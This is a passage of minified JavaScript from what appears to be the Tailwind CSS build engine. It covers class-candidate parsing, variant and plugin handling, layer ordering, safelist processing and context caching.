0)return!1;if(r==="true"||r==="1")return!0;if(r==="false"||r==="0")return!1;if(r==="*")return!0;let e=r.split(",").map(t=>t.split(":")[0]);return e.includes("-tailwindcss")?!1:!!e.includes("tailwindcss")}var Te,Qp,Jp,fn,Ma,Ve,Hr,rt=A(()=>{l();Te={NODE_ENV:"production",DEBUG:aS(m.env.DEBUG)},Qp=new Map,Jp=new Map,fn=new Map,Ma=new Map,Ve=new String("*"),Hr=Symbol("__NONE__")});function It(r){let e=[],t=!1;for(let i=0;i<r.length;i++){let n=r[i];if(n===":"&&!t&&e.length===0)return!1;if(oS.has(n)&&r[i-1]!=="\\"&&(t=!t),!t&&r[i-1]!=="\\"){if(Xp.has(n))e.push(n);else if(Kp.has(n)){let s=Kp.get(n);if(e.length<=0||e.pop()!==s)return!1}}}return!(e.length>0)}var Xp,Kp,oS,Fa=A(()=>{l();Xp=new Map([["{","}"],["[","]"],["(",")"]]),Kp=new Map(Array.from(Xp.entries()).map(([r,e])=>[e,r])),oS=new Set(['"',"'","`"])});function Yr(r,...e){for(let t of e){let i=rd(t,cn);if(i!==null&&rd(r,cn,i)!==null){let s=`${cn}(${i})`,a=t.indexOf(s),o=t.slice(a+s.length).split(" ")[0];r=r.replace(s,s+o);continue}r=t.replace(ed,r)}return r}function td(r){let e=[];for(;r.prev()&&r.prev().type!=="combinator";)r=r.prev();for(;r&&r.type!=="combinator";)e.push(r),r=r.next();return e}function uS(r){return r.sort((e,t)=>e.type==="tag"&&t.type==="class"?-1:e.type==="class"&&t.type==="tag"?1:e.type==="class"&&t.type==="pseudo"&&t.value.startsWith("::")?-1:e.type==="pseudo"&&e.value.startsWith("::")&&t.type==="class"?1:r.index(e)-r.index(t)),r}function fS(r,e){let t=!1;r.walk(i=>{if(i.type==="class"&&i.value===e)return t=!0,!1}),t||r.remove()}function pn(r,{selector:e,candidate:t,context:i,isArbitraryVariant:n,base:s=t.split(new RegExp(`\\${i?.tailwindConfig?.separator??":"}(?![^[]*\\])`)).pop()}){let a=(0,Rt.default)().astSync(e);i?.tailwindConfig?.prefix&&!n&&(r=Dt(i.tailwindConfig.prefix,r)),r=r.replace(ed,`.${ve(t)}`);let o=(0,Rt.default)().astSync(r);a.each(p=>fS(p,s)),a.walkClasses(p=>{p.raws&&p.value.includes(s)&&(p.raws.value=ve((0,Zp.default)(p.raws.value)))});let u=Rt.default.comment({value:"/*__simple__*/"}),c=Rt.default.comment({value:"/*__simple__*/"});a.walkClasses(p=>{if(p.value!==s)return;let h=p.parent,d=o.nodes[0].nodes;if(h.nodes.length===1){p.replaceWith(...d);return}let y=td(p);h.insertBefore(y[0],u),h.insertAfter(y[y.length-1],c);for(let w of d)h.insertBefore(y[0],w);p.remove(),y=td(u);let k=h.index(u);h.nodes.splice(k,y.length,...uS(Rt.default.selector({nodes:y})).nodes),u.remove(),c.remove()});function f(p){let h=[];for(let d of p.nodes)Na(d)&&(h.push(d),p.removeChild(d)),d?.nodes&&h.push(...f(d));return h}return a.each(p=>{p.walkPseudos(d=>{lS.has(d.value)&&d.replaceWith(d.nodes)});let h=f(p);h.length>0&&p.nodes.push(h.sort(dS))}),a.toString()}function dS(r,e){return r.type!=="pseudo"&&e.type!=="pseudo"||r.type==="combinator"^e.type==="combinator"?0:r.type==="pseudo"^e.type==="pseudo"?(r.type==="pseudo")-(e.type==="pseudo"):Na(r)-Na(e)}function Na(r){return r.type!=="pseudo"||pS.includes(r.value)?!1:r.value.startsWith("::")||cS.includes(r.value)}function rd(r,e,t){let i=r.indexOf(t?`${e}(${t})`:e);if(i===-1)return null;i+=e.length+1;let n="",s=0;for(let a of r.slice(i))if(a!=="("&&a!==")")n+=a;else if(a==="(")n+=a,s++;else if(a===")"){if(--s<0)break;n+=a}return n}var Rt,Zp,cn,ed,lS,cS,pS,La=A(()=>{l();Rt=J(De()),Zp=J(ci());qt();rn();cn=":merge",ed="&",lS=new Set([cn]);cS=[":before",":after",":first-line",":first-letter"],pS=["::file-selector-button"]});function $a(r){return hS.transformSync(r)}function*mS(r){let e=1/0;for(;e>=0;){let t,i=!1;if(e===1/0&&r.endsWith("]")){let a=r.indexOf("[");r[a-1]==="-"?t=a-1:r[a-1]==="/"?(t=a-1,i=!0):t=-1}else e===1/0&&r.includes("/")?(t=r.lastIndexOf("/"),i=!0):t=r.lastIndexOf("-",e);if(t<0)break;let n=r.slice(0,t),s=r.slice(i?t:t+1);e=t-1,!(n===""||s==="/")&&(yield[n,s])}}function gS(r,e){if(r.length===0||e.tailwindConfig.prefix==="")return r;for(let t of r){let[i]=t;if(i.options.respectPrefix){let n=j.root({nodes:[t[1].clone()]}),s=t[1].raws.tailwind.classCandidate;n.walkRules(a=>{let o=s.startsWith("-");a.selector=Dt(e.tailwindConfig.prefix,a.selector,o)}),t[1]=n.nodes[0]}}return r}function yS(r,e){if(r.length===0)return r;let t=[];for(let[i,n]of r){let s=j.root({nodes:[n.clone()]});s.walkRules(a=>{a.selector=Tf(Pf(a.selector,e),o=>o===e?`!${o}`:o),a.walkDecls(o=>o.important=!0)}),t.push([{...i,important:!0},s.nodes[0]])}return t}function wS(r,e,t){if(e.length===0)return e;let i={modifier:null,value:Hr};{let n=/(.*)\/(.*)$/g.exec(r);if(n&&(r=n[1],i.modifier=n[2],!K(t.tailwindConfig,"generalizedModifiers")))return[]}if(r.endsWith("]")&&!r.startsWith("[")){let n=/(.)(-?)\[(.*)\]/g.exec(r);if(n){let[,s,a,o]=n;if(s==="@"&&a==="-")return[];if(s!=="@"&&a==="")return[];r=r.replace(`${a}[${o}]`,""),i.value=o}}if(ja(r)&&!t.variantMap.has(r)){let n=H(r.slice(1,-1));if(!yn(n))return[];let s=Qr(n),a=t.offsets.recordVariant(r);t.variantMap.set(r,[[a,s]])}if(t.variantMap.has(r)){let n=t.variantMap.get(r).slice(),s=[];for(let[a,o]of e){if(a.layer==="user")continue;let u=j.root({nodes:[o.clone()]});for(let[c,f,p]of n){let y=function(){h.raws.neededBackup||(h.raws.neededBackup=!0,h.walkRules(x=>x.raws.originalSelector=x.selector))},k=function(x){return y(),h.each(S=>{S.type==="rule"&&(S.selectors=S.selectors.map(_=>x({get className(){return $a(_)},selector:_})))}),h},h=(p??u).clone(),d=[],w=f({get container(){return y(),h},separator:t.tailwindConfig.separator,modifySelectors:k,wrap(x){let S=h.nodes;h.removeAll(),x.append(S),h.append(x)},format(x){d.push(x)},args:i});if(Array.isArray(w)){for(let[x,S]of w.entries())n.push([t.offsets.applyParallelOffset(c,x),S,h.clone()]);continue}if(typeof w=="string"&&d.push(w),w===null)continue;h.raws.neededBackup&&(delete h.raws.neededBackup,h.walkRules(x=>{let S=x.raws.originalSelector;if(!S||(delete x.raws.originalSelector,S===x.selector))return;let _=x.selector,D=(0,Ba.default)(M=>{M.walkClasses(B=>{B.value=`${r}${t.tailwindConfig.separator}${B.value}`})}).processSync(S);d.push(_.replace(D,"&")),x.selector=S})),h.nodes[0].raws.tailwind={...h.nodes[0].raws.tailwind,parentLayer:a.layer};let b=[{...a,sort:t.offsets.applyVariantOffset(a.sort,c,Object.assign(i,t.variantOptions.get(r))),collectedFormats:(a.collectedFormats??[]).concat(d),isArbitraryVariant:ja(r)},h.nodes[0]];s.push(b)}}return s}return[]}function za(r,e,t={}){return!ee(r)&&!Array.isArray(r)?[[r],t]:Array.isArray(r)?za(r[0],e,r[1]):(e.has(r)||e.set(r,Pt(r)),[e.get(r),t])}function vS(r){return bS.test(r)}function xS(r){if(!r.includes("://"))return!1;try{let e=new URL(r);return e.scheme!==""&&e.host!==""}catch(e){return!1}}function id(r){let e=!0;return r.walkDecls(t=>{if(!nd(t.name,t.value))return e=!1,!1}),e}function nd(r,e){if(xS(`${r}:${e}`))return!1;try{return j.parse(`a{${r}:${e}}`).toResult(),!0}catch(t){return!1}}function kS(r,e){let[,t,i]=r.match(/^\[([a-zA-Z0-9-_]+):(\S+)\]$/)??[];if(i===void 0||!vS(t)||!It(i))return null;let n=H(i);return nd(t,n)?[[{sort:e.offsets.arbitraryProperty(),layer:"utilities"},()=>({[qa(r)]:{[t]:n}})]]:null}function*SS(r,e){e.candidateRuleMap.has(r)&&(yield[e.candidateRuleMap.get(r),"DEFAULT"]),yield*function*(o){o!==null&&(yield[o,"DEFAULT"])}(kS(r,e));let t=r,i=!1,n=e.tailwindConfig.prefix,s=n.length,a=t.startsWith(n)||t.startsWith(`-${n}`);t[s]==="-"&&a&&(i=!0,t=n+t.slice(s+1)),i&&e.candidateRuleMap.has(t)&&(yield[e.candidateRuleMap.get(t),"-DEFAULT"]);for(let[o,u]of mS(t))e.candidateRuleMap.has(o)&&(yield[e.candidateRuleMap.get(o),i?`-${u}`:u])}function CS(r,e){return r===Ve?[Ve]:de(r,e)}function*_S(r,e){for(let t of r)t[1].raws.tailwind={...t[1].raws.tailwind,classCandidate:e,preserveSource:t[0].options?.preserveSource??!1},yield t}function*dn(r,e,t=r){let i=e.tailwindConfig.separator,[n,...s]=CS(r,i).reverse(),a=!1;if(n.startsWith("!")&&(a=!0,n=n.slice(1)),K(e.tailwindConfig,"variantGrouping")&&n.startsWith("(")&&n.endsWith(")")){let o=s.slice().reverse().join(i);for(let u of de(n.slice(1,-1),","))yield*dn(o+i+u,e,t)}for(let o of SS(n,e)){let u=[],c=new Map,[f,p]=o,h=f.length===1;for(let[d,y]of f){let k=[];if(typeof y=="function")for(let w of[].concat(y(p,{isOnlyPlugin:h}))){let[b,x]=za(w,e.postCssNodeCache);for(let S of b)k.push([{...d,options:{...d.options,...x}},S])}else if(p==="DEFAULT"||p==="-DEFAULT"){let w=y,[b,x]=za(w,e.postCssNodeCache);for(let S of b)k.push([{...d,options:{...d.options,...x}},S])}if(k.length>0){let w=Array.from(Ws(d.options?.types??[],p,d.options??{},e.tailwindConfig)).map(([b,x])=>x);w.length>0&&c.set(k,w),u.push(k)}}if(ja(p)){if(u.length>1){let k=function(b){return b.length===1?b[0]:b.find(x=>{let S=c.get(x);return x.some(([{options:_},D])=>id(D)?_.types.some(({type:M,preferOnConflict:B})=>S.includes(M)&&B):!1)})},[d,y]=u.reduce((b,x)=>(x.some(([{options:_}])=>_.types.some(({type:D})=>D==="any"))?b[0].push(x):b[1].push(x),b),[[],[]]),w=k(y)??k(d);if(w)u=[w];else{let b=u.map(S=>new Set([...c.get(S)??[]]));for(let S of b)for(let _ of S){let D=!1;for(let M of b)S!==M&&M.has(_)&&(M.delete(_),D=!0);D&&S.delete(_)}let x=[];for(let[S,_]of b.entries())for(let D of _){let M=u[S].map(([,B])=>B).flat().map(B=>B.toString().split(` `).slice(1,-1).map(q=>q.trim()).map(q=>` ${q}`).join(` `)).join(` `);x.push(` Use \`${r.replace("[",`[${D}:`)}\` for \`${M.trim()}\``);break}N.warn([`The class \`${r}\` is ambiguous and matches multiple utilities.`,...x,`If this is content and not a class, replace it with \`${r.replace("[","[").replace("]","]")}\` to silence this warning.`]);continue}}u=u.map(d=>d.filter(y=>id(y[1])))}u=u.flat(),u=Array.from(_S(u,n)),u=gS(u,e),a&&(u=yS(u,n));for(let d of s)u=wS(d,u,e);for(let d of u){if(d[1].raws.tailwind={...d[1].raws.tailwind,candidate:r},d[0].collectedFormats){let y=Yr("&",...d[0].collectedFormats),k=j.root({nodes:[d[1].clone()]});k.walkRules(w=>{hn(w)||(w.selector=pn(y,{selector:w.selector,candidate:t,base:r.split(new RegExp(`\\${e?.tailwindConfig?.separator??":"}(?![^[]*\\])`)).pop(),isArbitraryVariant:d[0].isArbitraryVariant,context:e}))}),d[1]=k.nodes[0]}yield d}}}function hn(r){return r.parent&&r.parent.type==="atrule"&&r.parent.name==="keyframes"}function AS(r){if(r===!0)return e=>{hn(e)||e.walkDecls(t=>{t.parent.type==="rule"&&!hn(t.parent)&&(t.important=!0)})};if(typeof r=="string")return e=>{hn(e)||(e.selectors=e.selectors.map(t=>`${r} ${t}`))}}function mn(r,e){let t=[],i=AS(e.tailwindConfig.important);for(let n of r){if(e.notClassCache.has(n))continue;if(e.candidateRuleCache.has(n)){t=t.concat(Array.from(e.candidateRuleCache.get(n)));continue}let s=Array.from(dn(n,e));if(s.length===0){e.notClassCache.add(n);continue}e.classCache.set(n,s);let a=e.candidateRuleCache.get(n)??new Set;e.candidateRuleCache.set(n,a);for(let o of s){let[{sort:u,options:c},f]=o;if(c.respectImportant&&i){let h=j.root({nodes:[f.clone()]});h.walkRules(i),f=h.nodes[0]}let p=[u,f];a.add(p),e.ruleCache.add(p),t.push(p)}}return t}function ja(r){return r.startsWith("[")&&r.endsWith("]")}var Ba,hS,bS,gn=A(()=>{l();Ze();Ba=J(De());Da();wt();rn();Pr();Ae();rt();La();Ia();Er();wn();Fa();_r();$e();hS=(0,Ba.default)(r=>r.first.filter(({type:e})=>e==="class").pop().value);bS=/^[a-z_-]/});function OS(r){try{return yt.createHash("md5").update(r,"utf-8").digest("binary")}catch(e){return""}}function sd(r,e){let t=e.toString();if(!t.includes("@tailwind"))return!1;let i=Ma.get(r),n=OS(t),s=i!==n;return Ma.set(r,n),s}var ad=A(()=>{l();si();rt()});function Va(r){return(r>0n)-(r<0n)}var od=A(()=>{l()});function ES(r){let e=null;for(let t of r)e=e??t,e=e>t?e:t;return e}var Ua,ld=A(()=>{l();od();Ua=class{constructor(){this.offsets={defaults:0n,base:0n,components:0n,utilities:0n,variants:0n,user:0n},this.layerPositions={defaults:0n,base:1n,components:2n,utilities:3n,user:4n,variants:5n},this.reservedVariantBits=0n,this.variantOffsets=new Map}create(e){return{layer:e,parentLayer:e,arbitrary:0n,variants:0n,parallelIndex:0n,index:this.offsets[e]++,options:[]}}arbitraryProperty(){return{...this.create("utilities"),arbitrary:1n}}forVariant(e,t=0){let i=this.variantOffsets.get(e);if(i===void 0)throw new Error(`Cannot find offset for unknown variant ${e}`);return{...this.create("variants"),variants:i<<BigInt(t)}}applyVariantOffset(e,t,i){return{...e,layer:"variants",parentLayer:e.layer==="variants"?e.parentLayer:e.layer,variants:e.variants|t.variants,options:i.sort?[].concat(i,e.options):e.options,parallelIndex:ES([e.parallelIndex,t.parallelIndex])}}applyParallelOffset(e,t){return{...e,parallelIndex:BigInt(t)}}recordVariants(e,t){for(let i of e)this.recordVariant(i,t(i))}recordVariant(e,t=1){return this.variantOffsets.set(e,1n<<this.reservedVariantBits),this.reservedVariantBits+=BigInt(t),{...this.create("variants"),variants:1n<<this.reservedVariantBits}}compare(e,t){if(e.layer!==t.layer)return this.layerPositions[e.layer]-this.layerPositions[t.layer];for(let i of e.options)for(let n of t.options){if(i.id!==n.id||!i.sort||!n.sort)continue;let s=i.sort({value:i.value,modifier:i.modifier},{value:n.value,modifier:n.modifier});if(s!==0)return s}return e.variants!==t.variants?e.variants-t.variants:e.parallelIndex!==t.parallelIndex?e.parallelIndex-t.parallelIndex:e.arbitrary!==t.arbitrary?e.arbitrary-t.arbitrary:e.index-t.index}sort(e){return e.sort(([t],[i])=>Va(this.compare(t,i)))}}});function Ya(r,e){let t=r.tailwindConfig.prefix;return typeof t=="function"?t(e):t+e}function fd({type:r="any",...e}){let t=[].concat(r);return{...e,types:t.map(i=>Array.isArray(i)?{type:i[0],...i[1]}:{type:i,preferOnConflict:!1})}}function cd(r){if(r.includes("{")){if(!TS(r))throw new Error("Your { and } are unbalanced.");return r.split(/{(.*)}/gim).flatMap(e=>cd(e)).filter(Boolean)}return[r.trim()]}function TS(r){let e=0;for(let t of r)if(t==="{")e++;else if(t==="}"&&--e<0)return!1;return e===0}function PS(r,e,{before:t=[]}={}){if(t=[].concat(t),t.length<=0){r.push(e);return}let i=r.length-1;for(let n of t){let s=r.indexOf(n);s!==-1&&(i=Math.min(i,s))}r.splice(i,0,e)}function pd(r){return Array.isArray(r)?r.flatMap(e=>!Array.isArray(e)&&!ee(e)?e:Pt(e)):pd([r])}function dd(r,e){return(0,Wa.default)(i=>{let n=[];return e&&e(i),i.walkClasses(s=>{n.push(s.value)}),n}).transformSync(r)}function DS(r,e={containsNonOnDemandable:!1},t=0){let i=[];if(r.type==="rule"){let n=function(s){s.walkPseudos(a=>{a.value===":not"&&a.remove()})};for(let s of r.selectors){let a=dd(s,n);a.length===0&&(e.containsNonOnDemandable=!0);for(let o of a)i.push(o)}}else r.type==="atrule"&&r.walkRules(n=>{for(let s of n.selectors.flatMap(a=>dd(a)))i.push(s)});return t===0?[e.containsNonOnDemandable||i.length===0,i]:i}function bn(r){return pd(r).flatMap(e=>{let t=new Map,[i,n]=DS(e);return i&&n.unshift(Ve),n.map(s=>(t.has(e)||t.set(e,e),[s,t.get(e)]))})}function yn(r){return r.startsWith("@")||r.includes("&")}function Qr(r){r=r.replace(/\n+/g,"").replace(/\s{1,}/g," ").trim();let e=cd(r).map(t=>{if(!t.startsWith("@"))return({format:s})=>s(t);let[,i,n]=/@(.*?)( .+|[({].*)/g.exec(t);return({wrap:s})=>s(j.atRule({name:i,params:n.trim()}))}).reverse();return t=>{for(let i of e)i(t)}}function qS(r,e,{variantList:t,variantMap:i,offsets:n,classList:s}){function a(d,y){return d?(0,ud.default)(r,d,y):r}function o(d){return Dt(r.prefix,d)}function u(d,y){return d===Ve?Ve:y.respectPrefix?e.tailwindConfig.prefix+d:d}function c(d,y,k={}){let[w,...b]=He(d),x=a(["theme",w,...b],y);return je(w)(x,k)}let f=Object.assign((d,y=void 0)=>c(d,y),{withAlpha:(d,y)=>c(d,void 0,{opacityValue:y})}),p=0,h={postcss:j,prefix:o,e:ve,config:a,theme:f,corePlugins:d=>Array.isArray(r.corePlugins)?r.corePlugins.includes(d):a(["corePlugins",d],!0),variants:()=>[],addBase(d){for(let[y,k]of bn(d)){let w=u(y,{}),b=n.create("base");e.candidateRuleMap.has(w)||e.candidateRuleMap.set(w,[]),e.candidateRuleMap.get(w).push([{sort:b,layer:"base"},k])}},addDefaults(d,y){let k={[`@defaults ${d}`]:y};for(let[w,b]of bn(k)){let x=u(w,{});e.candidateRuleMap.has(x)||e.candidateRuleMap.set(x,[]),e.candidateRuleMap.get(x).push([{sort:n.create("defaults"),layer:"defaults"},b])}},addComponents(d,y){y=Object.assign({},{preserveSource:!1,respectPrefix:!0,respectImportant:!1},Array.isArray(y)?{}:y);for(let[w,b]of bn(d)){let x=u(w,y);s.add(x),e.candidateRuleMap.has(x)||e.candidateRuleMap.set(x,[]),e.candidateRuleMap.get(x).push([{sort:n.create("components"),layer:"components",options:y},b])}},addUtilities(d,y){y=Object.assign({},{preserveSource:!1,respectPrefix:!0,respectImportant:!0},Array.isArray(y)?{}:y);for(let[w,b]of bn(d)){let x=u(w,y);s.add(x),e.candidateRuleMap.has(x)||e.candidateRuleMap.set(x,[]),e.candidateRuleMap.get(x).push([{sort:n.create("utilities"),layer:"utilities",options:y},b])}},matchUtilities:function(d,y){y=fd({...{respectPrefix:!0,respectImportant:!0,modifiers:!1},...y});let w=n.create("utilities");for(let b in d){let _=function(M,{isOnlyPlugin:B}){let[q,F,X]=Us(y.types,M,y,r);if(q===void 0)return[];if(!y.types.some(({type:pe})=>pe===F))if(B)N.warn([`Unnecessary typehint \`${F}\` in \`${b}-${M}\`.`,`You can safely update it to \`${b}-${M.replace(F+":","")}\`.`]);else return[];if(!It(q))return[];let ce={get modifier(){return y.modifiers||N.warn(`modifier-used-without-options-for-${b}`,["Your plugin must set `modifiers: true` in its options to support modifiers."]),X}},se=K(r,"generalizedModifiers");return[].concat(se?S(q,ce):S(q)).filter(Boolean).map(pe=>({[nn(b,M)]:pe}))},x=u(b,y),S=d[b];s.add([x,y]);let D=[{sort:w,layer:"utilities",options:y},_];e.candidateRuleMap.has(x)||e.candidateRuleMap.set(x,[]),e.candidateRuleMap.get(x).push(D)}},matchComponents:function(d,y){y=fd({...{respectPrefix:!0,respectImportant:!1,modifiers:!1},...y});let w=n.create("components");for(let b in d){let _=function(M,{isOnlyPlugin:B}){let[q,F,X]=Us(y.types,M,y,r);if(q===void 0)return[];if(!y.types.some(({type:pe})=>pe===F))if(B)N.warn([`Unnecessary typehint \`${F}\` in \`${b}-${M}\`.`,`You can safely update it to \`${b}-${M.replace(F+":","")}\`.`]);else return[];if(!It(q))return[];let ce={get modifier(){return y.modifiers||N.warn(`modifier-used-without-options-for-${b}`,["Your plugin must set `modifiers: true` in its options to support modifiers."]),X}},se=K(r,"generalizedModifiers");return[].concat(se?S(q,ce):S(q)).filter(Boolean).map(pe=>({[nn(b,M)]:pe}))},x=u(b,y),S=d[b];s.add([x,y]);let D=[{sort:w,layer:"components",options:y},_];e.candidateRuleMap.has(x)||e.candidateRuleMap.set(x,[]),e.candidateRuleMap.get(x).push(D)}},addVariant(d,y,k={}){y=[].concat(y).map(w=>{if(typeof w!="string")return(b={})=>{let{args:x,modifySelectors:S,container:_,separator:D,wrap:M,format:B}=b,q=w(Object.assign({modifySelectors:S,container:_,separator:D},k.type===Ga.MatchVariant&&{args:x,wrap:M,format:B}));if(typeof q=="string"&&!yn(q))throw new Error(`Your custom variant \`${d}\` has an invalid format string. Make sure it's an at-rule or contains a \`&\` placeholder.`);return Array.isArray(q)?q.filter(F=>typeof F=="string").map(F=>Qr(F)):q&&typeof q=="string"&&Qr(q)(b)};if(!yn(w))throw new Error(`Your custom variant \`${d}\` has an invalid format string. Make sure it's an at-rule or contains a \`&\` placeholder.`);return Qr(w)}),PS(t,d,k),i.set(d,y),e.variantOptions.set(d,k)},matchVariant(d,y,k){let w=k?.id??++p,b=d==="@",x=K(r,"generalizedModifiers");for(let[_,D]of Object.entries(k?.values??{}))_!=="DEFAULT"&&h.addVariant(b?`${d}${_}`:`${d}-${_}`,({args:M,container:B})=>y(D,x?{modifier:M?.modifier,container:B}:{container:B}),{...k,value:D,id:w,type:Ga.MatchVariant,variantInfo:Ha.Base});let S="DEFAULT"in(k?.values??{});h.addVariant(d,({args:_,container:D})=>_?.value===Hr&&!S?null:y(_?.value===Hr?k.values.DEFAULT:_?.value??(typeof _=="string"?_:""),x?{modifier:_?.modifier,container:D}:{container:D}),{...k,id:w,type:Ga.MatchVariant,variantInfo:Ha.Dynamic})}};return h}function vn(r){return Qa.has(r)||Qa.set(r,new Map),Qa.get(r)}function hd(r,e){let t=!1;for(let i of r){if(!i)continue;let n=Xs.parse(i),s=n.hash?n.href.replace(n.hash,""):n.href;s=n.search?s.replace(n.search,""):s;let a=ae.statSync(decodeURIComponent(s),{throwIfNoEntry:!1})?.mtimeMs;!a||((!e.has(i)||a>e.get(i))&&(t=!0),e.set(i,a))}return t}function md(r){r.walkAtRules(e=>{["responsive","variants"].includes(e.name)&&(md(e),e.before(e.nodes),e.remove())})}function IS(r){let e=[];return r.each(t=>{t.type==="atrule"&&["responsive","variants"].includes(t.name)&&(t.name="layer",t.params="utilities")}),r.walkAtRules("layer",t=>{if(md(t),t.params==="base"){for(let i of t.nodes)e.push(function({addBase:n}){n(i,{respectPrefix:!1})});t.remove()}else if(t.params==="components"){for(let i of t.nodes)e.push(function({addComponents:n}){n(i,{respectPrefix:!1,preserveSource:!0})});t.remove()}else if(t.params==="utilities"){for(let i of t.nodes)e.push(function({addUtilities:n}){n(i,{respectPrefix:!1,preserveSource:!0})});t.remove()}}),e}function RS(r,e){let t=Object.entries({...ue,...Hp}).map(([o,u])=>r.tailwindConfig.corePlugins.includes(o)?u:null).filter(Boolean),i=r.tailwindConfig.plugins.map(o=>(o.__isOptionsFunction&&(o=o()),typeof o=="function"?o:o.handler)),n=IS(e),s=[ue.pseudoElementVariants,ue.pseudoClassVariants,ue.ariaVariants,ue.dataVariants],a=[ue.supportsVariants,ue.directionVariants,ue.reducedMotionVariants,ue.prefersContrastVariants,ue.darkVariants,ue.printVariant,ue.screenVariants,ue.orientationVariants];return[...t,...s,...i,...a,...n]}function MS(r,e){let t=[],i=new Map;e.variantMap=i;let n=new Ua;e.offsets=n;let s=new Set,a=qS(e.tailwindConfig,e,{variantList:t,variantMap:i,offsets:n,classList:s});for(let f of r)if(Array.isArray(f))for(let p of f)p(a);else f?.(a);n.recordVariants(t,f=>i.get(f).length);for(let[f,p]of i.entries())e.variantMap.set(f,p.map((h,d)=>[n.forVariant(f,d),h]));let o=(e.tailwindConfig.safelist??[]).filter(Boolean);if(o.length>0){let f=[];for(let p of o){if(typeof p=="string"){e.changedContent.push({content:p,extension:"html"});continue}if(p instanceof RegExp){N.warn("root-regex",["Regular expressions in `safelist` work differently in Tailwind CSS v3.0.","Update your `safelist` configuration to eliminate this warning.","https://tailwindcss.com/docs/content-configuration#safelisting-classes"]);continue}f.push(p)}if(f.length>0){let p=new Map,h=e.tailwindConfig.prefix.length,d=f.some(y=>y.pattern.source.includes("!"));for(let y of s){let k=Array.isArray(y)?(()=>{let[w,b]=y,S=Object.keys(b?.values??{}).map(_=>Gr(w,_));return b?.supportsNegativeValues&&(S=[...S,...S.map(_=>"-"+_)],S=[...S,...S.map(_=>_.slice(0,h)+"-"+_.slice(h))]),b.types.some(({type:_})=>_==="color")&&(S=[...S,...S.flatMap(_=>Object.keys(e.tailwindConfig.theme.opacity).map(D=>`${_}/${D}`))]),d&&b?.respectImportant&&(S=[...S,...S.map(_=>"!"+_)]),S})():[y];for(let w of k)for(let{pattern:b,variants:x=[]}of f)if(b.lastIndex=0,p.has(b)||p.set(b,0),!!b.test(w)){p.set(b,p.get(b)+1),e.changedContent.push({content:w,extension:"html"});for(let S of x)e.changedContent.push({content:S+e.tailwindConfig.separator+w,extension:"html"})}}for(let[y,k]of p.entries())k===0&&N.warn([`The safelist pattern \`${y}\` doesn't match any Tailwind CSS classes.`,"Fix this pattern or remove it from your `safelist` configuration.","https://tailwindcss.com/docs/content-configuration#safelisting-classes"])}}let u=[].concat(e.tailwindConfig.darkMode??"media")[1]??"dark",c=[Ya(e,u),Ya(e,"group"),Ya(e,"peer")];e.getClassOrder=function(p){let h=new Map(p.map(k=>[k,null])),d=mn(new Set(p),e);d=e.offsets.sort(d);let y=BigInt(c.length);for(let[,k]of d)h.set(k.raws.tailwind.candidate,y++);return p.map(k=>{let w=h.get(k)??null,b=c.indexOf(k);return w===null&&b!==-1&&(w=BigInt(b)),[k,w]})},e.getClassList=function(){let p=[];for(let h of s)if(Array.isArray(h)){let[d,y]=h,k=[];for(let[w,b]of Object.entries(y?.values??{}))b!=null&&(p.push(Gr(d,w)),y?.supportsNegativeValues&&ut(b)&&k.push(Gr(d,`-${w}`)));p.push(...k)}else p.push(h);return p},e.getVariants=function(){let p=[];for(let[h,d]of e.variantOptions.entries())d.variantInfo!==Ha.Base&&p.push({name:h,isArbitrary:d.type===Symbol.for("MATCH_VARIANT"),values:Object.keys(d.values??{}),hasDash:h!=="@",selectors({modifier:y,value:k}={}){let w="__TAILWIND_PLACEHOLDER__",b=j.rule({selector:`.${w}`}),x=j.root({nodes:[b.clone()]}),S=x.toString(),_=(e.variantMap.get(h)??[]).flatMap(([F,X])=>X),D=[];for(let F of _){let X=[],ce={args:{modifier:y,value:d.values?.[k]??k},separator:e.tailwindConfig.separator,modifySelectors(re){return x.each(pe=>{pe.type==="rule"&&(pe.selectors=pe.selectors.map(Rl=>re({get className(){return $a(Rl)},selector:Rl})))}),x},format(re){X.push(re)},wrap(re){X.push(`@${re.name} ${re.params} { & }`)},container:x},se=F(ce);if(X.length>0&&D.push(X),Array.isArray(se))for(let re of se)X=[],re(ce),D.push(X)}let M=[],B=x.toString();S!==B&&(x.walkRules(F=>{let X=F.selector,ce=(0,Wa.default)(se=>{se.walkClasses(re=>{re.value=`${h}${e.tailwindConfig.separator}${re.value}`})}).processSync(X);M.push(X.replace(ce,"&").replace(w,"&"))}),x.walkAtRules(F=>{M.push(`@${F.name} (${F.params}) { & }`)}));let q=D.map(F=>pn(Yr("&",...F),{selector:`.${w}`,candidate:w,context:e,isArbitraryVariant:!(k in(d.values??{}))}).replace(`.${w}`,"&").replace("{ & }","").trim());return M.length>0&&q.push(Yr("&",...M)),q}});return p}}function gd(r,e){!r.classCache.has(e)||(r.notClassCache.add(e),r.classCache.delete(e),r.applyClassCache.delete(e),r.candidateRuleMap.delete(e),r.candidateRuleCache.delete(e),r.stylesheetCache=null)}function FS(r,e){let t=e.raws.tailwind.candidate;if(!!t){for(let i of r.ruleCache)i[1].raws.tailwind.candidate===t&&r.ruleCache.delete(i);gd(r,t)}}function Ja(r,e=[],t=j.root()){let i={disposables:[],ruleCache:new Set,candidateRuleCache:new Map,classCache:new Map,applyClassCache:new Map,notClassCache:new Set(r.blocklist??[]),postCssNodeCache:new Map,candidateRuleMap:new Map,tailwindConfig:r,changedContent:e,variantMap:new Map,stylesheetCache:null,variantOptions:new Map,markInvalidUtilityCandidate:s=>gd(i,s),markInvalidUtilityNode:s=>FS(i,s)},n=RS(i,t);return MS(n,i),i}function yd(r,e,t,i,n,s){let a=e.opts.from,o=i!==null;Te.DEBUG&&console.log("Source path:",a);let u;if(o&&Mt.has(a))u=Mt.get(a);else if(Jr.has(n)){let p=Jr.get(n);it.get(p).add(a),Mt.set(a,p),u=p}let c=sd(a,r);if(u&&!hd([...s],vn(u))&&!c)return[u,!1];if(Mt.has(a)){let p=Mt.get(a);if(it.has(p)&&(it.get(p).delete(a),it.get(p).size===0)){it.delete(p);for(let[h,d]of Jr)d===p&&Jr.delete(h);for(let h of p.disposables.splice(0))h(p)}}Te.DEBUG&&console.log("Setting up new context...");let f=Ja(t,[],r);return Object.assign(f,{userConfigPath:i}),hd([...s],vn(f)),Jr.set(n,f),Mt.set(a,f),it.has(f)||it.set(f,new Set),it.get(f).add(a),[f,!0]}var 